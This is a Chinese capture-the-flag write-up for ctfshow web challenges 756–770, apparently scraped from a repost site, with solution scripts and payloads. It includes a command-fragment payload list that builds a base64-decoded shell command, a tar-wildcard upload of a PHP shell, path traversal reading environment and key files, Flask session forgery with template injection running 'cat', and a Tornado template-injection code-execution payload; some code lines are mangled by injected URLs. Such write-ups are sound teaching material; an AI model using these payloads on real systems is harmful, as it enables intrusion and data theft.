因为题目较多,所以很多地方写的比较简略,望师傅们谅解。。
文章目录
-
- web756
- web757
- web758
- web759
- web760
- web761
- web762
- web763
- web764
- web765
- web766
- web767
- web768
- web769
- web770
web756
code=GLOBALS
web757 每次传入的key前七个字符需要是上传返回的,并且
substr(md5($value),5,4)==0)
因为不是每一次md5都有可能字母开头,所以我们需要多测试几次,直接在给的key后面不断加字符就可以了。
import requests
url="http://5a0b2552-05b1-4ca3-bf1f-9cf7ea54b0a5.challenge.ctf.show/"
key='ctfshow'
sess=requests.session()
for i in range(0,10):
t=''
while True:
data=https://www.it610.com/article/{'code':key}
r=sess.post(url,data=https://www.it610.com/article/data)
if(len(r.text)!=0):
key=r.text
#print(key)
break
else:
t=t+'1'
key=key+t
print(key)
web758 同web689
?file=a.php&url=http://127.0.0.1/?file=%26url=http://127.0.0.1/
web759 科学计数法绕过比较
00截断绕过判断字符串
value=https://www.it610.com/article/9e13%00%23ctfshow%23
web760 data和php://input协议都可以过
GET:
^.^=php://inputPOST:
(●'?'●)GET:
^.^=data://text/plain,(●'?'●)
或者
^.^=data:,(●'?'●)
web761
web762 chr为自动取模256,可以在原来数值加上256的倍数(注意不要post传username,否则每次都会被重置)
c="ctfshow"
for i in c:
print('value[]='+str(ord(i)+256)+'&',end='')
0x1AAF22BB){
print($i);
break;
}
}
//25
password=25&value[]=355&value[]=372&value[]=358&value[]=371&value[]=360&value[]=367&value[]=375
web763 payload.txt
>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>a
>hp
>p\\
>2.\\
>\>\\
>-d\\
>\%09\\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>\ \\
>o\\
>ch\\
>e\\
sh 0
sh f
【ctfshow|CTFSHOW大赛原题篇(web756-web770)】exp.py
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import urllib.parse
url = "http://35ca0584-b4b6-40d9-ac96-f679e4641ac5.challenge.ctf.show/index.php?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
for i in f:
print("[*]" + url.format(i.strip()))
requests.get(url.format(urllib.parse.unquote(i.strip())))
这个本地测试确实可以,但是这题太恶心人了,那个sandbox的目录搞不到,后面通过一句话发现是172的ip。。。。
#shell.bash
a="http://9fd8a2e5-3cb8-44a4-b173-8d787d561707.challenge.ctf.show/"
curl "$a?cmd=>tar"
curl "$a?cmd=>vcf"
curl "$a?cmd=>z"
curl -F file=@shell.php -X POST "$a?cmd=*%20/t*"
curl "$a?cmd=php%20z"
//shell.php
");
?>
运行这个bash即可
* /t*
相当于执行了tar cvf z ../t*
将打包的文件写入到了z文件中,而/t*中肯定会包含/tmp/phpxxxxxx,也就是上传的临时文件。
这样z中就包含test.php中的内容,最后在通过php来执行该文件
最后flag在数据库中。。。。用蚁剑连一下数据库就能拿到了。
web764 第一个需要绕过的地方
$login['cookie'] != @md5($_SESSION['flag'])
因为session从初始化开始就从来没有设置过flag值,所以相当于是空的,也就等价与
md5('');
(d41d8cd98f00b204e9800998ecf8427e)所以
$id[cookie]=d41d8cd98f00b204e9800998ecf8427e
后面就是一个伪随机数的问题了。
种子是固定的,所以后面生成的值也是固定的了。
$a=md5('');
echo $a;
echo "\n";
mt_srand(substr($a,17,7));
echo mt_rand();
//flag文件名
echo "\n";
mt_srand(mt_rand());
//第二次种子生成
echo mt_rand();
//post key的内容
echo "\n";
echo mt_rand();
//$随机数的值为flag的文件名,也就是 $xxx=filename
?id[cookie]=d41d8cd98f00b204e9800998ecf8427e
key=954576979&1277894509=filename
web765 可以任意读文件,先读下源码
/article?name=../app.py
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
from flag import ctfshowflag as FLAG
from key import key
app = Flask(__name__)
#FLAG = flag
app.secret_key = key
@app.route("/page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
code = request.form.get("code") or None
if code is not None:
code = code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "code" not in session or session['code'] is None:
session['code'] = code
template = None
if session['code'] is not None:
template = '''
PageHello : %s, why you don't look at our article?
''' % session['code']
session['code'] = None
return render_template_string(template) @app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('./articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False,port = 80)
大致浏览一下代码发现可能存在模板注入漏洞。重点是下面这个地方
文章图片
就是说如果我们session中有code的话,就使用这个作为模板内容输出,如果没有的话就使用你输入的code。
所以下面需要做的就是伪造cookie了。
一般secret_key会存在于环境变量中,所以直接读下环境变量的内容。
article?name=../../proc/self/environ
得到key
ctfshowsecretkeyhereyouneverknow
通过flask_session_cookie_manager工具加密发现一直不成功,猜测这个key是错误的,仔细观察代码,发现key是这么来的
from key import key
那么很有可能存在一个key.py文件了。读一下
?name=../key.py
得到真正的key
ctfshow_real_secret_key_is_here
剩下的其实就是一个模板注入了。
flag应该在flag.py中。
python3 flask_session_cookie_manager3.py encode -s "ctfshow_real_secret_key_is_here" -t '{"code":"{{config.__class__.__init__.__globals__[\"os\"].popen(\"cat flag.py\").read()}}"}'
web766 web767 date会将h格式化为小时,所以转义一下就好了。
date=1.p\hp&cmd=
web768
文章图片
这个题考的和sql注入关系不太大
下面的主要查询是根据这个文档来的
https://osquery.io/schema/5.0.1/
里面有个file表
我们可以通过这个表来查看某个目录下的文件
query=1';
select * from file where directory ='/';
--+
文章图片
可以看到目录下有flag和readflag,但是flag权限明显是没法直接读取的。
所以需要运行命令来执行readflag。
那下面就是来找有没有什么其他服务来帮助我们rce了。
剩下的本人能力有限,大家参考下下面的wp吧(orz)
https://github.com/Nu1LCTF/n1ctf-2021/tree/main/Web/QQQueryyy_all_the_things
https://harold.kim/blog/2021/11/n1ctf-writeup/
https://blog.csdn.net/anwen12/article/details/121506276
web769 curl中
curl 'fi[k-n]e:///etc/passwd'
相当于
curl 'fike:///etc/passwd'
curl 'file:///etc/passwd'
curl 'fine:///etc/passwd'curl 'fi{a,b}e:///etc/passwd'
相当于
curl 'fiae:///etc/passwd'
curl 'fibe:///etc/passwd'
url=fi[k-n]e:///var/www/htm[k-n]/f[k-n]a[f-h].php
web770 tornado 模板注入
非预期解
data=https://www.it610.com/article/{%25 extends"/flag" %25}
预期解
import requestspayload="""{{% raw "{}"
_tt_utf8 = handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['ev'+'al']%}}{{% raw 1
_tt_utf8 = lambda x:x
%}}
""".format(''.join(['\\x{:02x}'.format(ord(c)) for c in "__import__('os').popen('cat /flag').read()"]))res = requests.post("http://42d49d2e-12f3-49c1-8f31-1756c3e81f6d.challenge.ctf.show/",data=https://www.it610.com/article/{'data':payload})
print(res.text)
先挖个坑,有时间了去研究研究tornado的模板注入,然后写篇文章。。。
推荐阅读
- 2022红明谷杯web
- 量化|talib计算指标
- python|redis 绑定ip不生效,redis外网无法访问的解决方案
- python|2021-06最新亲测CentOS-7下安装Redis的详细过程
- python|python(talib 计算 SAR)
- python|python(talib 计算 SAR 用 pro_api)
- devops|道法术器 — DevOps 端到端部署流水线 V2.0
- python|网络图片爬虫(几个简单步骤实现网页图片的爬取,详细步骤,超详细,简单易懂)
- supervisor|centos7安装supervisor及supervisor web管理界面、supervisor守护进程使用